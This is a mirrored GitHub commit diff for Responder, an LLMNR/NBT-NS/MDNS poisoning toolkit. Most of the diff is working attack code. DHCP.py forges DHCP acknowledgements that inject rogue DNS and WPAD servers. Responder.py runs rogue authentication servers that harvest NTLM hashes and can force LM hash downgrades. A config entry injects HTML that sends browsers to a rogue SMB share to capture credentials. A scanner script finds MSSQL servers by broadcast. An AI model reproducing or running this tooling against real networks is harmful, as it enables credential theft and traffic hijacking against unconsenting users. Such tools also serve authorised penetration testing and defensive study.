mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-06 12:41:31 +00:00
Compare commits
10 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
cf7b4771ca | ||
|
|
f69e93c02e | ||
|
|
235f0fa8ae | ||
|
|
0660cc2fe7 | ||
|
|
823915fe44 | ||
|
|
5c9fec923c | ||
|
|
4558861ce2 | ||
|
|
af30d21908 | ||
|
|
a21aaf7987 | ||
|
|
2e4ed61bba |
@@ -1,4 +1,9 @@
|
||||
ChangeLog Responder 2.0:
|
||||
ChangeLog Responder 2.0.8:
|
||||
- Removed: Old style options (On/Off). Just use -r instead of -r On.
|
||||
- Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only.
|
||||
- Added: In-scope llmnr/nbt-ns name option
|
||||
- Added: Kerberos hash support
|
||||
- Added: DHCP INFORM take over tool (DHCP.py)
|
||||
- Added: MDNS Poisoner.
|
||||
- Added: -F command line switch to force NTLM authentication on PAC file retrieval.
|
||||
- Added: Ability to inject custom HTML in HTTP responses.
|
||||
|
||||
80
DHCP.py
80
DHCP.py
@@ -15,7 +15,7 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys,struct,socket,re,optparse
|
||||
import sys,struct,socket,re,optparse,ConfigParser,os
|
||||
from odict import OrderedDict
|
||||
from socket import inet_aton, inet_ntoa
|
||||
|
||||
@@ -46,7 +46,7 @@ parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inje
|
||||
options, args = parser.parse_args()
|
||||
|
||||
def ShowWelcome():
|
||||
Message = 'DHCP INFORM Take Over 0.1\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nThis script will inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a linux box, use -R (noisy)'
|
||||
Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n'
|
||||
print Message
|
||||
|
||||
if options.OURIP is None:
|
||||
@@ -76,7 +76,13 @@ if options.DNSIP2 is None:
|
||||
|
||||
ShowWelcome()
|
||||
|
||||
BCAST = "255.255.255.255"
|
||||
#Config parsing
|
||||
ResponderPATH = os.path.dirname(__file__)
|
||||
config = ConfigParser.ConfigParser()
|
||||
config.read(os.path.join(ResponderPATH,'Responder.conf'))
|
||||
RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
||||
|
||||
#Setting some vars
|
||||
Interface = options.Interface
|
||||
OURIP = options.OURIP
|
||||
ROUTERIP = options.RouterIP
|
||||
@@ -98,6 +104,17 @@ def SpoofIP(Spoof):
|
||||
else:
|
||||
return OURIP
|
||||
|
||||
def RespondToSpecificHost(RespondTo):
|
||||
if len(RespondTo)>=1 and RespondTo != ['']:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def RespondToIPScope(RespondTo, ClientIp):
|
||||
if ClientIp in RespondTo:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
@@ -162,13 +179,15 @@ class DHCPACK(Packet):
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
|
||||
("DHCPCode", "\x35"), #DHCP Message
|
||||
("DHCPCodeLen", "\x01"),
|
||||
("DHCPOpCode", "\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op51", "\x33"),
|
||||
("Op51Len", "\x04"),
|
||||
("Op51Str", "\x00\x00\xff\xff"), #Lease time, 1 day.
|
||||
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day.
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
@@ -185,6 +204,7 @@ class DHCPACK(Packet):
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", WPADSRV), #Wpad Server.
|
||||
("Op255", "\xff"),
|
||||
("Padding", "\x00"),
|
||||
|
||||
])
|
||||
|
||||
@@ -274,27 +294,63 @@ def ParseDHCPCode(data):
|
||||
OpCode = data[242:243]
|
||||
RequestIP = data[245:249]
|
||||
if OpCode == "\x08":
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(BCAST))
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP))
|
||||
p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(CurrentIP,68))
|
||||
return 'DHCP Inform received, Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,MacAddr.encode('hex'),PTid.encode('hex'))
|
||||
return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
|
||||
if OpCode == "\x03":
|
||||
if Request:
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(BCAST))
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x80\x00",ElapsedSec=Seconds)
|
||||
IPConv = inet_ntoa(IP)
|
||||
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),("255.255.255.255",0))
|
||||
return 'DHCP Request received, Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,MacAddr.encode('hex'),PTid.encode('hex'))
|
||||
SendDHCP(str(i)+str(u),(IPConv,68))
|
||||
return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
if RespondToSpecificHost(RespondTo) == False:
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,68))
|
||||
return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
|
||||
if OpCode == "\x01":
|
||||
if Request:
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = inet_ntoa(IP)
|
||||
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,0))
|
||||
return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
if RespondToSpecificHost(RespondTo) == False:
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,0))
|
||||
return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
|
||||
else:
|
||||
return False
|
||||
|
||||
@@ -316,10 +372,8 @@ def SniffUDPMac():
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
Message = ParseDHCPCode(data[0][42:])
|
||||
if Message:
|
||||
print ParseMac(data)
|
||||
print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
|
||||
print Message
|
||||
|
||||
|
||||
SniffUDPMac()
|
||||
|
||||
|
||||
39
FindSQLSrv.py
Executable file
39
FindSQLSrv.py
Executable file
@@ -0,0 +1,39 @@
|
||||
#! /usr/bin/env python
|
||||
# Created by Laurent Gaffie
|
||||
# This file is part of the Responder toolkit.
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
from socket import *
|
||||
|
||||
print 'MSSQL Server Finder 0.1\nPlease send bugs/comments/e-beer to: lgaffie@trustwave.com\n'
|
||||
|
||||
s = socket(AF_INET,SOCK_DGRAM)
|
||||
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
|
||||
s.settimeout(2)
|
||||
s.sendto('\x02',('255.255.255.255',1434))
|
||||
try:
|
||||
while 1:
|
||||
data, address = s.recvfrom(8092)
|
||||
if not data:
|
||||
break
|
||||
else:
|
||||
print "===============================================================\nHost details:",address[0]
|
||||
print data[2:]
|
||||
print "===============================================================\n"
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
@@ -264,4 +264,3 @@ def RunThisInLoop(host, host2, ip):
|
||||
sleep(480)
|
||||
|
||||
FindWhatToDo(ToThisHost2)
|
||||
|
||||
|
||||
76
README.md
76
README.md
@@ -11,7 +11,7 @@ suffix (see: http://support.microsoft.com/kb/163409). By default, the
|
||||
tool will only answers to File Server Service request, which is for SMB.
|
||||
The concept behind this, is to target our answers, and be stealthier on
|
||||
the network. This also helps to ensure that we don't break legitimate
|
||||
NBT-NS behavior. You can set the -r option to "On" via command line if
|
||||
NBT-NS behavior. You can set the -r option via command line if
|
||||
you want this tool to answer to the Workstation Service request name
|
||||
suffix.
|
||||
|
||||
@@ -22,12 +22,12 @@ FEATURES
|
||||
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default.
|
||||
Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion.
|
||||
Clear text password is supported for NT4, and LM hashing downgrade when the
|
||||
--lm option is set to On. This functionality is enabled by default when the
|
||||
--lm option is set. This functionality is enabled by default when the
|
||||
tool is launched.
|
||||
|
||||
- Built-in MSSQL Auth server.
|
||||
In order to redirect SQL Authentication to this tool, you will need to
|
||||
set the option -r to On(NBT-NS queries for SQL Server lookup are using
|
||||
set the option -r (NBT-NS queries for SQL Server lookup are using
|
||||
the Workstation Service name suffix) for systems older than windows
|
||||
Vista (LLMNR will be used for Vista and higher). This server supports
|
||||
NTLMv1, LMv2 hashes. This functionality was successfully tested on
|
||||
@@ -35,7 +35,7 @@ FEATURES
|
||||
|
||||
- Built-in HTTP Auth server.
|
||||
In order to redirect HTTP Authentication to this tool, you will need
|
||||
to set the option -r to On for Windows version older than Vista (NBT-NS
|
||||
to set the option -r for Windows version older than Vista (NBT-NS
|
||||
queries for HTTP server lookup are sent using the Workstation Service
|
||||
name suffix). For Vista and higher, LLMNR will be used. This server
|
||||
supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server
|
||||
@@ -45,7 +45,7 @@ FEATURES
|
||||
|
||||
- Built-in HTTPS Auth server.
|
||||
In order to redirect HTTPS Authentication to this tool, you will need
|
||||
to set the -r option to On for Windows versions older than Vista (NBT-NS
|
||||
to set the -r option for Windows versions older than Vista (NBT-NS
|
||||
queries for HTTP server lookups are sent using the Workstation Service
|
||||
name suffix). For Vista and higher, LLMNR will be used. This server
|
||||
supports NTLMv1, NTLMv2, *and* Basic Authentication. This server
|
||||
@@ -57,7 +57,7 @@ FEATURES
|
||||
|
||||
- Built-in LDAP Auth server.
|
||||
In order to redirect LDAP Authentication to this tool, you will need
|
||||
to set the option -r to On for Windows version older than Vista (NBT-NS
|
||||
to set the option -r for Windows version older than Vista (NBT-NS
|
||||
queries for HTTP server lookup are sent using the Workstation Service
|
||||
name suffix). For Vista and higher, LLMNR will be used. This server
|
||||
supports NTLMSSP hashes and Simple Authentication (clear text authentication).
|
||||
@@ -118,54 +118,62 @@ USAGE
|
||||
First of all, please take a look at Responder.conf and set it for your needs.
|
||||
Running this tool:
|
||||
|
||||
- python Responder.py [options]
|
||||
- ./Responder.py [options]
|
||||
|
||||
Usage Example:
|
||||
|
||||
python Responder.py -i 10.20.30.40 -r On -F On -w On
|
||||
./Responder.py -i 10.20.30.40 -w -r -f
|
||||
|
||||
or:
|
||||
|
||||
python Responder.py -i 10.20.30.40 -wrf
|
||||
|
||||
Options List:
|
||||
|
||||
-h, --help show this help message and exit.
|
||||
-h, --help show this help message and exit
|
||||
|
||||
-i 10.20.30.40, --ip=10.20.30.40 The ip address to redirect the traffic to.
|
||||
(usually yours)
|
||||
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
||||
BROWSER, LLMNR requests from which workstation to
|
||||
which workstation without poisoning anything.
|
||||
|
||||
-i 10.20.30.40, --ip=10.20.30.40
|
||||
The ip address to redirect the traffic to. (usually
|
||||
yours)
|
||||
|
||||
-I eth0, --interface=eth0 Network interface to use
|
||||
|
||||
-b Off, --basic=Off Set this to On if you want to return a
|
||||
Basic HTTP authentication. Off will return
|
||||
an NTLM authentication.
|
||||
-b, --basic Set this if you want to return a Basic HTTP
|
||||
authentication. If not set, an NTLM authentication
|
||||
will be returned.
|
||||
|
||||
-r Off, --wredir=Off Set this to On to enable answers for netbios
|
||||
wredir suffix queries. Answering to wredir
|
||||
will likely break stuff on the network
|
||||
(like classics 'nbns spoofer' will).
|
||||
Default value is therefore set to Off.
|
||||
-r, --wredir Set this to enable answers for netbios wredir suffix
|
||||
queries. Answering to wredir will likely break stuff
|
||||
on the network (like classics 'nbns spoofer' would).
|
||||
Default value is therefore set to False
|
||||
|
||||
-f Off, --fingerprint=Off This option allows you to fingerprint a
|
||||
host that issued an NBT-NS or LLMNR query.
|
||||
-d, --NBTNSdomain Set this to enable answers for netbios domain suffix
|
||||
queries. Answering to domain suffixes will likely
|
||||
break stuff on the network (like a classic 'nbns
|
||||
spoofer' would). Default value is therefore set to
|
||||
False
|
||||
|
||||
-w On, --wpad=On Set this to On or Off to start/stop the WPAD rogue
|
||||
proxy server. Default value is Off
|
||||
-f, --fingerprint This option allows you to fingerprint a host that
|
||||
issued an NBT-NS or LLMNR query.
|
||||
|
||||
--lm=Off Set this to On if you want to force LM hashing
|
||||
downgrade for Windows XP/2003 and earlier. Default value is Off
|
||||
-w, --wpad Set this to start the WPAD rogue proxy server. Default
|
||||
value is False
|
||||
|
||||
-F Off, --ForceWpadAuth=Off Set this to On or Off to force NTLM/Basic authentication on
|
||||
wpad.dat file retrieval. This might cause a login prompt in
|
||||
some specific cases. Default value is Off
|
||||
|
||||
-A, --analyze Analyze mode. This option allows you to see NBT-NS,BROWSER,
|
||||
LLMNR requests from which workstation to which workstation
|
||||
without poisoning any requests. Also, you can map domains,
|
||||
MSSQL servers, workstations passively.
|
||||
-F, --ForceWpadAuth Set this if you want to force NTLM/Basic
|
||||
authentication on wpad.dat file retrieval. This might
|
||||
cause a login prompt in some specific cases.
|
||||
Therefore, default value is False
|
||||
|
||||
--lm Set this if you want to force LM hashing downgrade for
|
||||
Windows XP/2003 and earlier. Default value is False
|
||||
|
||||
-v More verbose
|
||||
|
||||
|
||||
|
||||
For more information read these posts:
|
||||
http://blog.spiderlabs.com/2012/10/introducing-responder-10.html
|
||||
http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-responder-17.html
|
||||
|
||||
@@ -45,10 +45,8 @@ ExecFilename = FixInternet.exe
|
||||
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
|
||||
;
|
||||
;HTML answer to inject.
|
||||
;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.
|
||||
;Also, the HTML has to be in this format "<html> Payload goes here...</html>".
|
||||
;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.Also, the HTML has to be in this format "<html> Payload goes here...</html>".
|
||||
HTMLToServe = <html><head></head><body><img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='2'></body></html>
|
||||
;
|
||||
[HTTPS Server]
|
||||
;
|
||||
;Change to use your certs
|
||||
|
||||
112
Responder.py
112
Responder.py
@@ -16,42 +16,42 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser,BaseHTTPServer, select,urlparse,zlib, string
|
||||
import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser,BaseHTTPServer, select,urlparse,zlib, string, time
|
||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer
|
||||
from Fingerprint import RunSmbFinger,OsNameClientVersion
|
||||
from odict import OrderedDict
|
||||
from socket import inet_aton
|
||||
from random import randrange
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -b On -r On',
|
||||
parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -w -r -f\nor:\npython %prog -i 10.20.30.40 -wrf',
|
||||
prog=sys.argv[0],
|
||||
)
|
||||
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning anything.", metavar="10.20.30.40",dest="Analyse")
|
||||
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning anything.", dest="Analyse")
|
||||
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
|
||||
|
||||
parser.add_option('-I','--interface', action="store", help="Network interface to use", metavar="eth0", dest="INTERFACE", default="Not set")
|
||||
|
||||
parser.add_option('-b', '--basic',action="store", help="Set this to On if you want to return a Basic HTTP authentication. Off will return an NTLM authentication.This option is mandatory.", metavar="Off",dest="Basic", choices=['On','on','off','Off'], default="Off")
|
||||
parser.add_option('-b', '--basic',action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned.", dest="Basic", default=False)
|
||||
|
||||
parser.add_option('-r', '--wredir',action="store", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' will). Default value is therefore set to Off", metavar="Off",dest="Wredirect", choices=['On','on','off','Off'], default="Off")
|
||||
parser.add_option('-r', '--wredir',action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False", dest="Wredirect", default=False)
|
||||
|
||||
parser.add_option('-d', '--NBTNSdomain',action="store", help="Set this to enable answers for netbios domain suffix queries. Answering to domain will likely break stuff on the network (like classics 'nbns spoofer' will). Default value is therefore set to Off", metavar="Off",dest="NBTNSDomain", choices=['On','on','off','Off'], default="Off")
|
||||
parser.add_option('-d', '--NBTNSdomain',action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False",dest="NBTNSDomain", default=False)
|
||||
|
||||
parser.add_option('-f','--fingerprint', action="store", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", metavar="Off", choices=['On','on','off','Off'], default="Off")
|
||||
parser.add_option('-f','--fingerprint', action="store_true", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", default=False)
|
||||
|
||||
parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = "Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is Off", metavar="On", choices=['On','on','off','Off'], default="Off")
|
||||
parser.add_option('-w','--wpad', action="store_true", dest="WPAD_On_Off", help = "Set this to start the WPAD rogue proxy server. Default value is False", default=False)
|
||||
|
||||
parser.add_option('-F','--ForceWpadAuth', action="store", dest="Force_WPAD_Auth", help = "Set this to On or Off to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Default value is Off", metavar="Off", choices=['On','on','off','Off'], default="Off")
|
||||
parser.add_option('-F','--ForceWpadAuth', action="store_true", dest="Force_WPAD_Auth", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False",default=False)
|
||||
|
||||
parser.add_option('--lm',action="store", help="Set this to On if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is Off", metavar="Off",dest="LM_On_Off", choices=['On','on','off','Off'], default="Off")
|
||||
parser.add_option('--lm',action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False", dest="LM_On_Off", default=False)
|
||||
|
||||
parser.add_option('-v',action="store_true", help="More verbose",dest="Verbose")
|
||||
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if options.OURIP is None:
|
||||
print "-i mandatory option is missing\n"
|
||||
print "\n\033[1m\033[31m-i mandatory option is missing\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
@@ -79,23 +79,27 @@ Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper()
|
||||
Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper()
|
||||
FILENAME = config.get('HTTP Server', 'Filename')
|
||||
WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
||||
HTMLToServe = config.get('HTTP Server', 'HTMLToServe')
|
||||
RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
||||
RespondTo.split(",")
|
||||
RespondToName = config.get('Responder Core', 'RespondToName').strip()
|
||||
RespondToName.split(",")
|
||||
#Cli options.
|
||||
OURIP = options.OURIP
|
||||
LM_On_Off = options.LM_On_Off.upper()
|
||||
WPAD_On_Off = options.WPAD_On_Off.upper()
|
||||
Wredirect = options.Wredirect.upper()
|
||||
NBTNSDomain = options.NBTNSDomain.upper()
|
||||
Basic = options.Basic.upper()
|
||||
Finger_On_Off = options.Finger.upper()
|
||||
LM_On_Off = options.LM_On_Off
|
||||
WPAD_On_Off = options.WPAD_On_Off
|
||||
Wredirect = options.Wredirect
|
||||
NBTNSDomain = options.NBTNSDomain
|
||||
Basic = options.Basic
|
||||
Finger_On_Off = options.Finger
|
||||
INTERFACE = options.INTERFACE
|
||||
Verbose = options.Verbose
|
||||
Force_WPAD_Auth = options.Force_WPAD_Auth.upper()
|
||||
Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||
AnalyzeMode = options.Analyse
|
||||
|
||||
if HTMLToServe == None:
|
||||
HTMLToServe = ''
|
||||
|
||||
if INTERFACE != "Not set":
|
||||
BIND_TO_Interface = INTERFACE
|
||||
|
||||
@@ -130,9 +134,11 @@ def Analyze(AnalyzeMode):
|
||||
return False
|
||||
|
||||
#Logger
|
||||
CommandLine = str(sys.argv)
|
||||
import logging
|
||||
logging.basicConfig(filename=str(os.path.join(ResponderPATH,SessionLog)),level=logging.INFO,format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
|
||||
logging.warning('Responder Started')
|
||||
StartMessage = 'Responder Started\nCommand line args:%s' %(CommandLine)
|
||||
logging.warning(StartMessage)
|
||||
|
||||
Log2Filename = str(os.path.join(ResponderPATH,"LLMNR-NBT-NS.log"))
|
||||
logger2 = logging.getLogger('LLMNR/NBT-NS')
|
||||
@@ -203,7 +209,7 @@ Challenge = ""
|
||||
for i in range(0,len(NumChal),2):
|
||||
Challenge += NumChal[i:i+2].decode("hex")
|
||||
|
||||
Show_Help("[+]NBT-NS, LLMNR & MDNS responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface:%s\nChallenge set is:%s\nWPAD Proxy Server is:%s\nWPAD script loaded:%s\nHTTP Server is:%s\nHTTPS Server is:%s\nSMB Server is:%s\nSMB LM support is:%s\nKerberos Server is:%s\nSQL Server is:%s\nFTP Server is:%s\nIMAP Server is:%s\nPOP3 Server is:%s\nSMTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\nServing Executable via HTTP&WPAD is:%s\nAlways Serving a Specific File via HTTP&WPAD is:%s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,Krb_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off))
|
||||
Show_Help("[+]NBT-NS, LLMNR & MDNS responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface: %s\nChallenge set: %s\nWPAD Proxy Server: %s\nWPAD script loaded: %s\nHTTP Server: %s\nHTTPS Server: %s\nSMB Server: %s\nSMB LM support: %s\nKerberos Server: %s\nSQL Server: %s\nFTP Server: %s\nIMAP Server: %s\nPOP3 Server: %s\nSMTP Server: %s\nDNS Server: %s\nLDAP Server: %s\nFingerPrint hosts: %s\nServing Executable via HTTP&WPAD: %s\nAlways Serving a Specific File via HTTP&WPAD: %s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,Krb_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off))
|
||||
|
||||
if AnalyzeMode:
|
||||
print '[+]Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.\n'
|
||||
@@ -225,9 +231,9 @@ class Packet():
|
||||
|
||||
#Function name self-explanatory
|
||||
def Is_Finger_On(Finger_On_Off):
|
||||
if Finger_On_Off == "ON":
|
||||
if Finger_On_Off == True:
|
||||
return True
|
||||
if Finger_On_Off == "OFF":
|
||||
if Finger_On_Off == False:
|
||||
return False
|
||||
|
||||
def RespondToSpecificHost(RespondTo):
|
||||
@@ -306,11 +312,11 @@ def Validate_NBT_NS(data,Wredirect):
|
||||
if NBT_NS_Role(data[43:46]) == "File Server Service.":
|
||||
return True
|
||||
|
||||
if NBTNSDomain == "ON":
|
||||
if NBTNSDomain == True:
|
||||
if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.":
|
||||
return True
|
||||
|
||||
if Wredirect == "ON":
|
||||
if Wredirect == True:
|
||||
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.":
|
||||
return True
|
||||
|
||||
@@ -630,16 +636,17 @@ from SMBPackets import *
|
||||
#Detect if SMB auth was Anonymous
|
||||
def Is_Anonymous(data):
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
if SecBlobLen < 220:
|
||||
if SecBlobLen < 260:
|
||||
SSPIStart = data[75:]
|
||||
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
||||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
return True
|
||||
